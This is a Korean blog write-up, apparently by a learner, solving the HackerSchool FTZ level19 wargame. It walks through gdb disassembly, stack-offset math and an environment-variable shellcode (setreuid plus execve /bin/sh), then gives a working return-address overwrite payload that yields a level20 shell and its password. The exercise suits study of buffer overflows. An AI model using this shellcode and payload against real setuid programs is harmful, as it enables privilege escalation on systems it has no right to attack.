[ftz] hackerschool level19 풀이
- 보안/HackerSchool-ftz
- 2020. 1. 5. 16:26
l hackerschool level19 풀이
실행 환경 : VMware Workstation Pro, Red Hat Linux 9.0
참고 도서 : 문제 풀이로 배우는 시스템 해킹 테크닉
** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **
login as: level19 level19@192.168.31.128's password: |
level19 문제의 아이디인 level19 와 password인 swimming in pink 을 입력하여 level19의 유저로 접속합니다.
[level19@ftz level19]$ ls -l total 28 -rwsr-x--- 1 level20 level19 13615 Mar 8 2003 attackme -rw-r----- 1 root level19 65 Mar 8 2003 hint drwxr-xr-x 2 root level19 4096 Feb 24 2002 public_html drwxrwxr-x 2 root level19 4096 Jan 16 2009 tmp |
ls -l 명령어를 사용하여 현재 위치( /home/level19 ) 아래에 있는 디렉터리의 목록을 확인합니다.
목록들 중 hint 파일을 읽어 어떤 식으로 문제를 풀어야 하는지 보도록 하겠습니다.
[level19@ftz level19]$ cat hint main() { char buf[20]; gets(buf); printf("%s\n",buf); } |
cat 명령어를 사용하여 hint 파일을 확인해본 결과 위의 코드와 힌트를 볼 수 있습니다.
gets를 이용해 입력을 받긴 하지만 셸을 취득하는 명령이 없습니다. 따라서 셸을 취득할 수 있도록 셸 코드를 넣어주어야 합니다.
[level19@ftz level19]$ cp ./attackme ./tmp/level19 [level19@ftz level19]$ cd ./tmp [level19@ftz tmp]$ ls -l total 16 -rwxr-x--- 1 level19 level19 13615 Nov 14 14:36 level19 |
문제를 풀기 전 퍼미션 문제 때문에 attackme 파일을 tmp 폴더 안에 복사하도록 하겠습니다.
[level19@ftz tmp]$ gdb level19 GNU gdb Red Hat Linux (5.3post-0.20021129.18rh) Copyright 2003 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux-gnu"... (gdb) disas main Dump of assembler code for function main: 0x08048440 <main+0>: push %ebp 0x08048441 <main+1>: mov %esp,%ebp 0x08048443 <main+3>: sub $0x28,%esp 0x08048446 <main+6>: sub $0xc,%esp 0x08048449 <main+9>: lea 0xffffffd8(%ebp),%eax 0x0804844c <main+12>: push %eax 0x0804844d <main+13>: call 0x80482f4 <fgets> 0x08048452 <main+18>: add $0x10,%esp 0x08048455 <main+21>: sub $0x8,%esp 0x08048458 <main+24>: lea 0xffffffd8(%ebp),%eax 0x0804845b <main+27>: push %eax 0x0804845c <main+28>: push $0x80484d8 0x08048461 <main+33>: call 0x8048324 <printf> 0x08048466 <main+38>: add $0x10,%esp 0x08048469 <main+41>: leave 0x0804846a <main+42>: ret 0x0804846b <main+43>: nop 0x0804846c <main+44>: nop 0x0804846d <main+45>: nop 0x0804846e <main+46>: nop 0x0804846f <main+47>: nop End of assembler dump. |
level19 파일을 gdb로 분석해보도록 하겠습니다.
disas main 명령을 통해 main의 어셈블리 코드를 보겠습니다. 우리는 여기서 빨간색 부분을 집중해 보도록 할 것입니다.
1. 0x08048443 <main+3>: sub $0x28,%esp
0x28을 10진수로 바꾸게 되면 40입니다. 스택에 40byte의 공간을 할당하는 것을 알 수 있습니다.
2. 0x0804844d <main+13>: call 0x80482f4 <fgets>
힌트 코드에서 보면 fgets 함수에 인자로 buf가 들어가는 것을 볼 수 있습니다. 따라서 main+13 바로 위 %eax 이 부분이 buf의 시작 위치이고, %eax는 main+9에서 알 수 있습니다.
11011000 => 00100111 => 00101000 = 8 + 32 = 40
buf의 시작 위치는 ebp - [0xffffffd8의 2의 보수]입니다. 즉 ebp - 40이 buf의 시작 위치입니다.
메모리 구조를 보면 아래와 같습니다.
앞의 버퍼오버플로우 문제들과의 차이점은 hint 코드에 setreuid 함수가 없다는 것입니다. 따라서 셸 코드에 setreuid 함수 코드까지 포함시켜주어야 합니다. 그럼 셸 명령과 setreuid 함수를 포함한 셸 코드를 환경변수에 넣어주도록 하겠습니다.
[level19@ftz tmp]$ export SHELL=`python -c 'print "\x90"*50+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` [level19@ftz tmp]$ echo 'int main(){ printf("ADDR:0x%x\n",getenv("SHELL"));}' > getenv.c [level19@ftz tmp]$ gcc -o getenv getenv.c [level19@ftz tmp]$ ./getenv ADDR:0xbffffc05 |
위의 결과를 통해 나온 주소를 메모리 상의 return 부분에 덮어씌워주도록 하겠습니다. 그렇게 되면 return 부분이 실행되면서 셸 코드가 있는 주소로 가게 될 것입니다.
| 셸 코드
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
| 페이로드
(python -c 'print "A"*44+"\x05\xfc\xff\xbf"';cat) | ./attackme
[level19@ftz level19]$ (python -c 'print "A"*44+"\x05\xfc\xff\xbf"';cat) | ./attackme AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAüÿ¿ PuTTY /bin//sh: line 1: PuTTY: command not found id uid=3100(level20) gid=3099(level19) groups=3099(level19) my-pass TERM environment variable not set. Level20 Password is "we are just regular guys". |
위의 페이로드를 입력 후 id 명령어를 실행시키면 uid가 level20인 것을 확인할 수 있습니다. 그 후 my-pass 명령을 통해 level20의 password를 알 수 있습니다.
l level20 비밀번호
Level20 Password is "we are just regular guys".
'보안 > HackerSchool-ftz' 카테고리의 다른 글
[ftz] hackerschool level20 풀이 (0) | 2020.01.09 |
---|---|
[ftz] hackerschool level18 풀이 (0) | 2020.01.03 |
[ftz] hackerschool level17 풀이 (0) | 2020.01.03 |
[ftz] hackerschool level16 풀이 (0) | 2020.01.02 |
[ftz] hackerschool level15 풀이 (0) | 2020.01.02 |
이 글을 공유하기